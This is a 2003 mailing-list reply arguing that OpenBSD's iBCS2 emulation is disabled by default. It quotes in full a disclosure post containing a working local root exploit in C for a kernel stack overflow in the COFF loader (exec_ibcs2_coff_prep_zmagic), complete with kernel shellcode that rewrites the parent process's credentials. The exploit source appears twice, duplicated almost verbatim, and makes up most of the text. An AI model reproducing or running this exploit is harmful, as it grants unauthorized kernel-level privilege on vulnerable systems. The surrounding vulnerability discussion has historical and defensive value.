I may be wrong here, but I don't think that any of the kern.emul.*
executable emulations are actually enabled on a default install. I have
installed openbsd in environments requiring one of these since 3.2 and
have had to specifically enable them every time. COMPAT_* are compiled in
the default kernel, but are turned of via sysctl in the default install.
This is not to say that OpenBSD is in any way a perfectly stable environment,
in my experience, I have still managed to crash OpenBSD from userland time to
time. I don't really recommend it as a public shell box without studying its
configuration and understanding how to secure a unix box, or a network for
that matter. IMHO, the slogan should be "More secure by default".
This does fall under reliability fix category, though, since it isn't really
a security issue, the bug puts the system into one of its most secure states:
halted. Well, that is as long as youve disabled the kdb, which you should have
on a production box.
On Tue, Nov 18, 2003 at 01:54:39PM -0500, noir@xxxxxxxxxxxxx wrote, and it was
proclaimed:
>
> once again i am honored to present you a generic and robust way to own
> OpenBSD 2.x-3.x, enjoy ;)
>
> it is quite funny to name ring 0 overflow patches as "reliability fixes".
> who does theo thinks he is fooling ? kiddies in his cult ?
>
> you can patch your useless/old openbsd systems by visiting;
> http://www.gentoo.org
> http://www.grsecurity.net
>
> - noir
>
>
> from http://www.wideopenbsd.org/errata.html
>
> All architectures
>
> 005: RELIABILITY FIX: November 4, 2003
> It is possible for a local user to cause a system panic by executing
> a specially crafted binary with an invalid header.
> A source code patch exists which remedies the problem.
>
>
> reliability ??? ehh ;-P yeah yeah right!
>
>
>
> /** OpenBSD 2.x - 3.3 **/
> /** exec_ibcs2_coff_prep_zmagic() kernel stack overflow **/
> /** note: ibcs2 binary compatibility with SCO and ISC is enabled **/
> /** in the default install **/
>
> /** Copyright Feb 26 2003 Sinan "noir" Eren **/
> /** noir@xxxxxxxxxxx | noir@xxxxxxxxxxxxx **/
>
> /** greets to brother nahual for making this usefull! **/
>
> #include <stdio.h>
> #include <sys/types.h>
> #include <fcntl.h>
> #include <unistd.h>
> #include <sys/param.h>
> #include <sys/sysctl.h>
> #include <sys/signal.h>
>
> //#include "ibcs2_exec.h"
>
> /* kernel_sc.s shellcode */
> /* much improved the opcode search, fixed the stupid logic bug! */
>
> unsigned char shellcode[] =
> "\xe8\x0f\x00\x00\x00\x78\x56\x34\x12\xfe\xca\xad\xde\xad\xde\xef\xbe"
> "\x90\x90\x90\x5f\x8b\x0f\x8b\x59\x10\x31\xc0\x89\x43\x04\x8b\x13\x89"
> "\x42\x04\x8b\x51\x14\x89\x42\x0c\x8d\x6c\x24\x68\x0f\x01\x4f\x04\x8b"
> "\x5f\x06\x8b\x93\x00\x04\x00\x00\x8b\x8b\x04\x04\x00\x00\xc1\xe9\x10"
> "\xc1\xe1\x10\xc1\xe2\x10\xc1\xea\x10\x09\xca\x31\xc9\x41\x8a\x1c\x0a"
> "\x80\xfb\xe8\x75\xf7\x8d\x1c\x0a\x41\x8b\x0c\x0a\x83\xc1\x05\x01\xd9"
> "\x89\xcf\xb0\xff\xfc\xb9\xff\xff\xff\xff\xf2\xae\x8a\x1f\x80\xfb\xd0"
> "\x75\xef\x47\x31\xc0\x57\xc3";
>
> /* do not use! */
> /*
> silvio gotta get his brain together and understand why sometimes
> you need to return to kernel code rather than setting the selectors
> pushing ss,esp,eflag,cs,eip and do an iret!
>
> well, aloha?? vnode locks being held ? mutex locks being held ?
> you have to return to the kernel code that unlocks the syncronization
> objects
>
> */
>
> unsigned char iret_shellcode[] =
> "\xe8\x0f\x00\x00\x00\x78\x56\x34\x12\xfe\xca\xad\xde\xad\xde\xef\xbe"
> "\x90\x90\x90\x5f\x8b\x0f\x8b\x59\x10\x31\xc0\x89\x43\x04\x8b\x13\x89"
> "\x42\x04\x8b\x51\x14\x89\x42\x0c\xfa\x6a\x1f\x07\x6a\x1f\x1f\x6a\x00"
> "\x5f\x6a\x00\x5e\x68\x00\xd0\xbf\xdf\x5d\x6a\x00\x5b\x6a\x00\x5a\x6a"
> "\x00\x59\x6a\x00\x58\x6a\x1f\x68\x00\xd0\xbf\xdf\x68\x87\x02\x00\x00"
> "\x6a\x17";
>
> unsigned char pusheip[] =
> "\x68\x00\x00\x00\x00"; /* fill eip */
>
> unsigned char iret[] =
> "\xcf";
>
> unsigned char exitsh[] =
> "\x31\xc0\xcd\x80\xcc"; /* xorl %eax,%eax, int $0x80, int3 */
>
>
> #define ZERO(p) memset(&p, 0x00, sizeof(p))
>
> /*
> * COFF file header
> */
>
> struct coff_filehdr {
> u_short f_magic; /* magic number */
> u_short f_nscns; /* # of sections */
> long f_timdat; /* timestamp */
> long f_symptr; /* file offset of symbol table */
> long f_nsyms; /* # of symbol table entries */
> u_short f_opthdr; /* size of optional header */
> u_short f_flags; /* flags */
> };
>
> /* f_magic flags */
> #define COFF_MAGIC_I386 0x14c
>
> /* f_flags */
> #define COFF_F_RELFLG 0x1
> #define COFF_F_EXEC 0x2
> #define COFF_F_LNNO 0x4
> #define COFF_F_LSYMS 0x8
> #define COFF_F_SWABD 0x40
> #define COFF_F_AR16WR 0x80
> #define COFF_F_AR32WR 0x100
>
> /*
> * COFF system header
> */
>
> struct coff_aouthdr {
> short a_magic;
> short a_vstamp;
> long a_tsize;
> long a_dsize;
> long a_bsize;
> long a_entry;
> long a_tstart;
> long a_dstart;
> };
>
> /* magic */
> #define COFF_ZMAGIC 0413
>
> /*
> * COFF section header
> */
>
> struct coff_scnhdr {
> char s_name[8];
> long s_paddr;
> long s_vaddr;
> long s_size;
> long s_scnptr;
> long s_relptr;
> long s_lnnoptr;
> u_short s_nreloc;
> u_short s_nlnno;
> long s_flags;
> };
>
> /* s_flags */
> #define COFF_STYP_TEXT 0x20
> #define COFF_STYP_DATA 0x40
> #define COFF_STYP_SHLIB 0x800
>
>
> void get_proc(pid_t, struct kinfo_proc *);
> void sig_handler();
>
> int
> main(int argc, char **argv)
> {
> u_int i, fd, debug = 0;
> u_char *ptr, *shptr;
> u_long *lptr;
> u_long pprocadr, offset;
> struct kinfo_proc kp;
> char *args[] = { "./ibcs2own", NULL};
> char *envs[] = { "RIP=theo", NULL};
> //COFF structures
> struct coff_filehdr fhdr;
> struct coff_aouthdr ahdr;
> struct coff_scnhdr scn0, scn1, scn2;
>
> if(argv[1]) {
> if(!strncmp(argv[1], "-v", 2))
> debug = 1;
> else {
> printf("-v: verbose flag only\n");
> exit(0);
> }
> }
>
> ZERO(fhdr);
> fhdr.f_magic = COFF_MAGIC_I386;
> fhdr.f_nscns = 3; //TEXT, DATA, SHLIB
> fhdr.f_timdat = 0xdeadbeef;
> fhdr.f_symptr = 0x4000;
> fhdr.f_nsyms = 1;
> fhdr.f_opthdr = sizeof(ahdr); //AOUT opt header size
> fhdr.f_flags = COFF_F_EXEC;
>
> ZERO(ahdr);
> ahdr.a_magic = COFF_ZMAGIC;
> ahdr.a_tsize = 0;
> ahdr.a_dsize = 0;
> ahdr.a_bsize = 0;
> ahdr.a_entry = 0x10000;
> ahdr.a_tstart = 0;
> ahdr.a_dstart = 0;
>
> ZERO(scn0);
> memcpy(&scn0.s_name, ".text", 5);
> scn0.s_paddr = 0x10000;
> scn0.s_vaddr = 0x10000;
> scn0.s_size = 4096;
> scn0.s_scnptr = sizeof(fhdr) + sizeof(ahdr) + (sizeof(scn0)*3);
> //file offset of .text segment
> scn0.s_relptr = 0;
> scn0.s_lnnoptr = 0;
> scn0.s_nreloc = 0;
> scn0.s_nlnno = 0;
> scn0.s_flags = COFF_STYP_TEXT;
>
> ZERO(scn1);
> memcpy(&scn1.s_name, ".data", 5);
> scn1.s_paddr = 0x10000 - 4096;
> scn1.s_vaddr = 0x10000 - 4096;
> scn1.s_size = 4096;
> scn1.s_scnptr = sizeof(fhdr) + sizeof(ahdr) + (sizeof(scn0)*3) + 4096;
> //file offset of .data segment
> scn1.s_relptr = 0;
> scn1.s_lnnoptr = 0;
> scn1.s_nreloc = 0;
> scn1.s_nlnno = 0;
> scn1.s_flags = COFF_STYP_DATA;
>
> ZERO(scn2);
> memcpy(&scn2.s_name, ".shlib", 6);
> scn2.s_paddr = 0;
> scn2.s_vaddr = 0;
> scn2.s_size = 0xb0; //HERE IS DA OVF!!! static_buffer = 128
> scn2.s_scnptr = sizeof(fhdr) + sizeof(ahdr) + (sizeof(scn0)*3) + 2*4096;
> //file offset of .data segment
> scn2.s_relptr = 0;
> scn2.s_lnnoptr = 0;
> scn2.s_nreloc = 0;
> scn2.s_nlnno = 0;
> scn2.s_flags = COFF_STYP_SHLIB;
>
> offset = sizeof(fhdr) + sizeof(ahdr) + (sizeof(scn0)*3) + 3*4096;
> ptr = (char *) malloc(offset);
> if(!ptr) {
> perror("malloc");
> exit(-1);
> }
>
> memset(ptr, 0xcc, offset); /* fill int3 */
>
> /* copy sections */
> offset = 0;
> memcpy(ptr, (char *) &fhdr, sizeof(fhdr));
> offset += sizeof(fhdr);
>
> memcpy(ptr+offset, (char *) &ahdr, sizeof(ahdr));
> offset += sizeof(ahdr);
>
> memcpy(ptr+offset, (char *) &scn0, sizeof(scn0));
> offset += sizeof(scn0);
>
> memcpy(ptr+offset, &scn1, sizeof(scn1));
> offset += sizeof(scn1);
>
> memcpy(ptr+offset, (char *) &scn2, sizeof(scn2));
> offset += sizeof(scn2);
>
> lptr = (u_long *) ((char *)ptr + sizeof(fhdr) + sizeof(ahdr) + \
> (sizeof(scn0) * 3) + 4096 + 4096 + 0xb0 - 8);
>
> shptr = (char *) malloc(4096);
> if(!shptr) {
> perror("malloc");
> exit(-1);
> }
> if(debug)
> printf("payload adr: 0x%.8x\t", shptr);
>
> memset(shptr, 0xcc, 4096);
>
> get_proc((pid_t) getppid(), &kp);
> pprocadr = (u_long) kp.kp_eproc.e_paddr;
> if(debug)
> printf("parent proc adr: 0x%.8x\n", pprocadr);
>
> *lptr++ = 0xdeadbeef;
> *lptr = (u_long) shptr;
>
> shellcode[5] = pprocadr & 0xff;
> shellcode[6] = (pprocadr >> 8) & 0xff;
> shellcode[7] = (pprocadr >> 16) & 0xff;
> shellcode[8] = (pprocadr >> 24) & 0xff;
>
> memcpy(shptr, shellcode, sizeof(shellcode)-1);
>
> unlink("./ibcs2own");
> if((fd = open("./ibcs2own", O_CREAT^O_RDWR, 0755)) < 0) {
> perror("open");
> exit(-1);
> }
>
> write(fd, ptr, sizeof(fhdr) + sizeof(ahdr) + (sizeof(scn0) * 3) + 4096 +
> 4096 + 4096);
> close(fd);
> free(ptr);
>
> signal(SIGSEGV, (void (*)())sig_handler);
> signal(SIGILL, (void (*)())sig_handler);
> signal(SIGSYS, (void (*)())sig_handler);
> signal(SIGBUS, (void (*)())sig_handler);
> signal(SIGABRT, (void (*)())sig_handler);
> signal(SIGTRAP, (void (*)())sig_handler);
>
> printf("\nDO NOT FORGET TO SHRED ./ibcs2own\n");
> execve(args[0], args, envs);
> perror("execve");
> }
>
> void
> sig_handler()
> {
> _exit(0);
> }
>
> void
> get_proc(pid_t pid, struct kinfo_proc *kp)
> {
> u_int arr[4], len;
>
> arr[0] = CTL_KERN;
> arr[1] = KERN_PROC;
> arr[2] = KERN_PROC_PID;
> arr[3] = pid;
> len = sizeof(struct kinfo_proc);
> if(sysctl(arr, 4, kp, &len, NULL, 0) < 0) {
> perror("sysctl");
> fprintf(stderr, "this is an unexpected error, rerun!\n");
> exit(-1);
> }
>
> }
>
> /** OpenBSD 2.x - 3.3 **/
> /** exec_ibcs2_coff_prep_zmagic() kernel stack overflow **/
> /** note: ibcs2 binary compatibility with SCO and ISC is enabled **/
> /** in the default install **/
>
> /** Copyright Feb 26 2003 Sinan "noir" Eren **/
> /** noir@xxxxxxxxxxx | noir@xxxxxxxxxxxxx **/
>
> /** greets to brother nahual for making this usefull! **/
>
> #include <stdio.h>
> #include <sys/types.h>
> #include <fcntl.h>
> #include <unistd.h>
> #include <sys/param.h>
> #include <sys/sysctl.h>
> #include <sys/signal.h>
>
> //#include "ibcs2_exec.h"
>
> /* kernel_sc.s shellcode */
> /* much improved the opcode search, fixed the stupid logic bug! */
>
> unsigned char shellcode[] =
> "\xe8\x0f\x00\x00\x00\x78\x56\x34\x12\xfe\xca\xad\xde\xad\xde\xef\xbe"
> "\x90\x90\x90\x5f\x8b\x0f\x8b\x59\x10\x31\xc0\x89\x43\x04\x8b\x13\x89"
> "\x42\x04\x8b\x51\x14\x89\x42\x0c\x8d\x6c\x24\x68\x0f\x01\x4f\x04\x8b"
> "\x5f\x06\x8b\x93\x00\x04\x00\x00\x8b\x8b\x04\x04\x00\x00\xc1\xe9\x10"
> "\xc1\xe1\x10\xc1\xe2\x10\xc1\xea\x10\x09\xca\x31\xc9\x41\x8a\x1c\x0a"
> "\x80\xfb\xe8\x75\xf7\x8d\x1c\x0a\x41\x8b\x0c\x0a\x83\xc1\x05\x01\xd9"
> "\x89\xcf\xb0\xff\xfc\xb9\xff\xff\xff\xff\xf2\xae\x8a\x1f\x80\xfb\xd0"
> "\x75\xef\x47\x31\xc0\x57\xc3";
>
> /* do not use! */
> /*
> silvio gotta get his brain together and understand why sometimes
> you need to return to kernel code rather than setting the selectors
> pushing ss,esp,eflag,cs,eip and do an iret!
>
> well, aloha?? vnode locks being held ? mutex locks being held ?
> you have to return to the kernel code that unlocks the syncronization
> objects
>
> */
>
> unsigned char iret_shellcode[] =
> "\xe8\x0f\x00\x00\x00\x78\x56\x34\x12\xfe\xca\xad\xde\xad\xde\xef\xbe"
> "\x90\x90\x90\x5f\x8b\x0f\x8b\x59\x10\x31\xc0\x89\x43\x04\x8b\x13\x89"
> "\x42\x04\x8b\x51\x14\x89\x42\x0c\xfa\x6a\x1f\x07\x6a\x1f\x1f\x6a\x00"
> "\x5f\x6a\x00\x5e\x68\x00\xd0\xbf\xdf\x5d\x6a\x00\x5b\x6a\x00\x5a\x6a"
> "\x00\x59\x6a\x00\x58\x6a\x1f\x68\x00\xd0\xbf\xdf\x68\x87\x02\x00\x00"
> "\x6a\x17";
>
> unsigned char pusheip[] =
> "\x68\x00\x00\x00\x00"; /* fill eip */
>
> unsigned char iret[] =
> "\xcf";
>
> unsigned char exitsh[] =
> "\x31\xc0\xcd\x80\xcc"; /* xorl %eax,%eax, int $0x80, int3 */
>
>
> #define ZERO(p) memset(&p, 0x00, sizeof(p))
>
> /*
> * COFF file header
> */
>
> struct coff_filehdr {
> u_short f_magic; /* magic number */
> u_short f_nscns; /* # of sections */
> long f_timdat; /* timestamp */
> long f_symptr; /* file offset of symbol table */
> long f_nsyms; /* # of symbol table entries */
> u_short f_opthdr; /* size of optional header */
> u_short f_flags; /* flags */
> };
>
> /* f_magic flags */
> #define COFF_MAGIC_I386 0x14c
>
> /* f_flags */
> #define COFF_F_RELFLG 0x1
> #define COFF_F_EXEC 0x2
> #define COFF_F_LNNO 0x4
> #define COFF_F_LSYMS 0x8
> #define COFF_F_SWABD 0x40
> #define COFF_F_AR16WR 0x80
> #define COFF_F_AR32WR 0x100
>
> /*
> * COFF system header
> */
>
> struct coff_aouthdr {
> short a_magic;
> short a_vstamp;
> long a_tsize;
> long a_dsize;
> long a_bsize;
> long a_entry;
> long a_tstart;
> long a_dstart;
> };
>
> /* magic */
> #define COFF_ZMAGIC 0413
>
> /*
> * COFF section header
> */
>
> struct coff_scnhdr {
> char s_name[8];
> long s_paddr;
> long s_vaddr;
> long s_size;
> long s_scnptr;
> long s_relptr;
> long s_lnnoptr;
> u_short s_nreloc;
> u_short s_nlnno;
> long s_flags;
> };
>
> /* s_flags */
> #define COFF_STYP_TEXT 0x20
> #define COFF_STYP_DATA 0x40
> #define COFF_STYP_SHLIB 0x800
>
>
> void get_proc(pid_t, struct kinfo_proc *);
> void sig_handler();
>
> int
> main(int argc, char **argv)
> {
> u_int i, fd, debug = 0;
> u_char *ptr, *shptr;
> u_long *lptr;
> u_long pprocadr, offset;
> struct kinfo_proc kp;
> char *args[] = { "./ibcs2own", NULL};
> char *envs[] = { "RIP=theo", NULL};
> //COFF structures
> struct coff_filehdr fhdr;
> struct coff_aouthdr ahdr;
> struct coff_scnhdr scn0, scn1, scn2;
>
> if(argv[1]) {
> if(!strncmp(argv[1], "-v", 2))
> debug = 1;
> else {
> printf("-v: verbose flag only\n");
> exit(0);
> }
> }
>
> ZERO(fhdr);
> fhdr.f_magic = COFF_MAGIC_I386;
> fhdr.f_nscns = 3; //TEXT, DATA, SHLIB
> fhdr.f_timdat = 0xdeadbeef;
> fhdr.f_symptr = 0x4000;
> fhdr.f_nsyms = 1;
> fhdr.f_opthdr = sizeof(ahdr); //AOUT opt header size
> fhdr.f_flags = COFF_F_EXEC;
>
> ZERO(ahdr);
> ahdr.a_magic = COFF_ZMAGIC;
> ahdr.a_tsize = 0;
> ahdr.a_dsize = 0;
> ahdr.a_bsize = 0;
> ahdr.a_entry = 0x10000;
> ahdr.a_tstart = 0;
> ahdr.a_dstart = 0;
>
> ZERO(scn0);
> memcpy(&scn0.s_name, ".text", 5);
> scn0.s_paddr = 0x10000;
> scn0.s_vaddr = 0x10000;
> scn0.s_size = 4096;
> scn0.s_scnptr = sizeof(fhdr) + sizeof(ahdr) + (sizeof(scn0)*3);
> //file offset of .text segment
> scn0.s_relptr = 0;
> scn0.s_lnnoptr = 0;
> scn0.s_nreloc = 0;
> scn0.s_nlnno = 0;
> scn0.s_flags = COFF_STYP_TEXT;
>
> ZERO(scn1);
> memcpy(&scn1.s_name, ".data", 5);
> scn1.s_paddr = 0x10000 - 4096;
> scn1.s_vaddr = 0x10000 - 4096;
> scn1.s_size = 4096;
> scn1.s_scnptr = sizeof(fhdr) + sizeof(ahdr) + (sizeof(scn0)*3) + 4096;
> //file offset of .data segment
> scn1.s_relptr = 0;
> scn1.s_lnnoptr = 0;
> scn1.s_nreloc = 0;
> scn1.s_nlnno = 0;
> scn1.s_flags = COFF_STYP_DATA;
>
> ZERO(scn2);
> memcpy(&scn2.s_name, ".shlib", 6);
> scn2.s_paddr = 0;
> scn2.s_vaddr = 0;
> scn2.s_size = 0xb0; //HERE IS DA OVF!!! static_buffer = 128
> scn2.s_scnptr = sizeof(fhdr) + sizeof(ahdr) + (sizeof(scn0)*3) + 2*4096;
> //file offset of .data segment
> scn2.s_relptr = 0;
> scn2.s_lnnoptr = 0;
> scn2.s_nreloc = 0;
> scn2.s_nlnno = 0;
> scn2.s_flags = COFF_STYP_SHLIB;
>
> offset = sizeof(fhdr) + sizeof(ahdr) + (sizeof(scn0)*3) + 3*4096;
> ptr = (char *) malloc(offset);
> if(!ptr) {
> perror("malloc");
> exit(-1);
> }
>
> memset(ptr, 0xcc, offset); /* fill int3 */
>
> /* copy sections */
> offset = 0;
> memcpy(ptr, (char *) &fhdr, sizeof(fhdr));
> offset += sizeof(fhdr);
>
> memcpy(ptr+offset, (char *) &ahdr, sizeof(ahdr));
> offset += sizeof(ahdr);
>
> memcpy(ptr+offset, (char *) &scn0, sizeof(scn0));
> offset += sizeof(scn0);
>
> memcpy(ptr+offset, &scn1, sizeof(scn1));
> offset += sizeof(scn1);
>
> memcpy(ptr+offset, (char *) &scn2, sizeof(scn2));
> offset += sizeof(scn2);
>
> lptr = (u_long *) ((char *)ptr + sizeof(fhdr) + sizeof(ahdr) + \
> (sizeof(scn0) * 3) + 4096 + 4096 + 0xb0 - 8);
>
> shptr = (char *) malloc(4096);
> if(!shptr) {
> perror("malloc");
> exit(-1);
> }
> if(debug)
> printf("payload adr: 0x%.8x\t", shptr);
>
> memset(shptr, 0xcc, 4096);
>
> get_proc((pid_t) getppid(), &kp);
> pprocadr = (u_long) kp.kp_eproc.e_paddr;
> if(debug)
> printf("parent proc adr: 0x%.8x\n", pprocadr);
>
> *lptr++ = 0xdeadbeef;
> *lptr = (u_long) shptr;
>
> shellcode[5] = pprocadr & 0xff;
> shellcode[6] = (pprocadr >> 8) & 0xff;
> shellcode[7] = (pprocadr >> 16) & 0xff;
> shellcode[8] = (pprocadr >> 24) & 0xff;
>
> memcpy(shptr, shellcode, sizeof(shellcode)-1);
>
> unlink("./ibcs2own");
> if((fd = open("./ibcs2own", O_CREAT^O_RDWR, 0755)) < 0) {
> perror("open");
> exit(-1);
> }
>
> write(fd, ptr, sizeof(fhdr) + sizeof(ahdr) + (sizeof(scn0) * 3) + 4096 +
> 4096 + 4096);
> close(fd);
> free(ptr);
>
> signal(SIGSEGV, (void (*)())sig_handler);
> signal(SIGILL, (void (*)())sig_handler);
> signal(SIGSYS, (void (*)())sig_handler);
> signal(SIGBUS, (void (*)())sig_handler);
> signal(SIGABRT, (void (*)())sig_handler);
> signal(SIGTRAP, (void (*)())sig_handler);
>
> printf("\nDO NOT FORGET TO SHRED ./ibcs2own\n");
> execve(args[0], args, envs);
> perror("execve");
> }
>
> void
> sig_handler()
> {
> _exit(0);
> }
>
> void
> get_proc(pid_t pid, struct kinfo_proc *kp)
> {
> u_int arr[4], len;
>
> arr[0] = CTL_KERN;
> arr[1] = KERN_PROC;
> arr[2] = KERN_PROC_PID;
> arr[3] = pid;
> len = sizeof(struct kinfo_proc);
> if(sysctl(arr, 4, kp, &len, NULL, 0) < 0) {
> perror("sysctl");
> fprintf(stderr, "this is an unexpected error, rerun!\n");
> exit(-1);
> }
>
> }
>
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